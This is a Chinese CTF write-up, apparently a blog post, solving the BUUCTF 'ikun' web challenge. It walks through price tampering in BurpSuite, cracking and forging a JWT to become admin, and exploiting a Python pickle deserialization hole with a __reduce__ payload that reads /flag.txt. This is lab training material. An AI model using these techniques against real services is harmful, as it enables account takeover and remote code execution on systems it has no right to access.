BUUCTF-[CISCN2019 华北赛区 Day1 Web2]ikun

7 篇文章 0 订阅

BUUCTF-[CISCN2019 华北赛区 Day1 Web2]ikun

鸡你太美

看一下网页
在这里插入图片描述
这段视频真不错!!!好了,看题

开始

让我们先注册一个账号,登陆后竟然有¥1000

ikun们冲鸭,一定要买到Lv6

让我们买到Lv6,上脚本找一下


import requests
from time import *
url="http://6777eeab-1fd2-4a3c-b124-d2ac0b67fd9b.node3.buuoj.cn/shop?page={}"
for i in range(1000):
    r=requests.get(url=url.format(i))
    if "/lv/lv6" in r.text:
        print(i)
    sleep(0.1)

当?page=181时出现了Lv6(我第一遍做的时候在180页…)
在这里插入图片描述
这价格有点高…话说有这些钱为什么要买这个东西
在这里插入图片描述
有一张8折优惠券,但钱还是不够,所以BurpSuite抓包改。

在这里插入图片描述

repeater一下
在这里插入图片描述
出现b1g_m4mber,访问一下
在这里插入图片描述

只允许admin访问,打开cookie有JWT,JWT在线解码
将payload的username内容替换为admin,加密生成JWT需要密钥。
有大佬已经写出破解工具了
https://github.com/brendan-rius/c-jwt-cracker
下载完后,在该目录文件夹下,终端输入make
在这里插入图片描述
解出来密钥为1Kun,伪造JWT
在这里插入图片描述

BurpSuite抓包,改JWT,放包
在这里插入图片描述
看到源码泄露,www.zip打上下载。

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

有后门,是python反序列化。

 @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

但没学过python反序列化(=_=),上大佬脚本。python2去跑。

import os
import pickle
import urllib

class exp(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt').read()",))

a=exp()
s=pickle.dumps(a)
print urllib.quote(s)

在这里插入图片描述
生成的payload,成为Lv6时BurpSuite抓包,改become,然后放行,得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值